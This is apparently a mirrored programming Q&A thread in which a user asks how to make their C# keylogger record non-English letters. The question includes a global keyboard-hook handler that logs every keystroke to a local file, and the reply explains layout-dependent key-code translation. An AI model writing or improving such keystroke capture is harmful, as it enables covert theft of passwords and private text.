键盘布局问题应该如何问? [英] keyboard layout how the question should Asked ?

查看:107
本文介绍了键盘布局问题应该如何问?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我的子程序是一个关键记录器。它捕获所有键击并像每个键盘记录器一样保存它们。但它只用英语。



如果我在键盘上按键(a)并且语言是阿拉伯语,它应该输出一个(Ô)字母

如果我按键盘上的键(a)并且语言是希伯来语,它应该输出一个(ב)字母

如果我在键盘上按键(a)并且语言是德语的,它应该输出一封(ä)字母

如果我按键盘上的键(a)并且语言是日语,它应该输出一个(だ)字母





i得到当前的键盘布局但是



如何或从哪里获得当按下键时应打印出的外语相应字母?





问题是键盘返回ASCII或int32号码作为返回值。



有没有人有任何想法?





My sub program is a key logger. It catches all key strikes and saves them like every key logger does. But it does so only in English.

If I press a key (a) in keyboard and the language is in Arabic it should got out a (ش) letter
If I press a key (a) in keyboard and the language is in Hebrew it should got out a (ב) letter
If I press a key (a) in keyboard and the language is in German it should got out a (ä) letter
If I press a key (a) in keyboard and the language is in Japanese it should got out a (だ) letter


i get the current keyboard layout but

How or from where to get the corresponding letters in the foreign language that should be printed out when the key is pressed?


The problem is that the keyboard returns an ASCII or int32 number as return value.

Does anyone have any idea?


/////////////////////////////////////////////
       GlobalKeyboardHook gHook;


       public void gHook_KeyDown(object sender, KeyEventArgs e)
       {

           pathString = @"C:\myprog\";
           pathString_FILE = DateTime.Now.Year.ToString() + "-" + DateTime.Now.Month.ToString() + "-" + DateTime.Now.Day.ToString();
           File_IS = pathString + pathString_FILE + "\\keystrike.txt";


           string keystrike = "";
           keystrike = ((char)e.KeyValue).ToString();


           if (Directory.Exists(pathString))
           {
               using (System.IO.StreamWriter file2 = new System.IO.StreamWriter(@File_IS, true))
               {

                   file2.Write(keystrike);
                   file2.Close();
               }

                          }
           else
           {
               System.IO.Directory.CreateDirectory(pathString);

           }


       }

推荐答案

它真的不是用英语做的。它在关键按键,最初基于英语的键码上执行,但实质上它们是文化中立的。它们根本不是字母。



如果你想将它解读为阿拉伯语,你需要考虑为你输入数据的每个应用程序激活的键盘布局(如您所知,Windows键盘布局开关按应用程序运行),跟踪所有前缀键的状态,并使用一些表将翻译键码转换为Unicode字母。我想说,这不是一件非常简单的工作。



-SA
It doesn't really do it in English. It does it at the level of key presses, key codes which were initially based on English, but in essence they are culture-neutral. They are not letters at all.

If you want to decipher it as Arabic, you need to take into account the keyboard layout activated for each application where you input data (as you know, Windows keyboard layout switch operate per application), track the state of all prefix key and use some table for translation key codes into Unicode letters. I would say, this is not a very simple work.

—SA


这篇关于键盘布局问题应该如何问?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆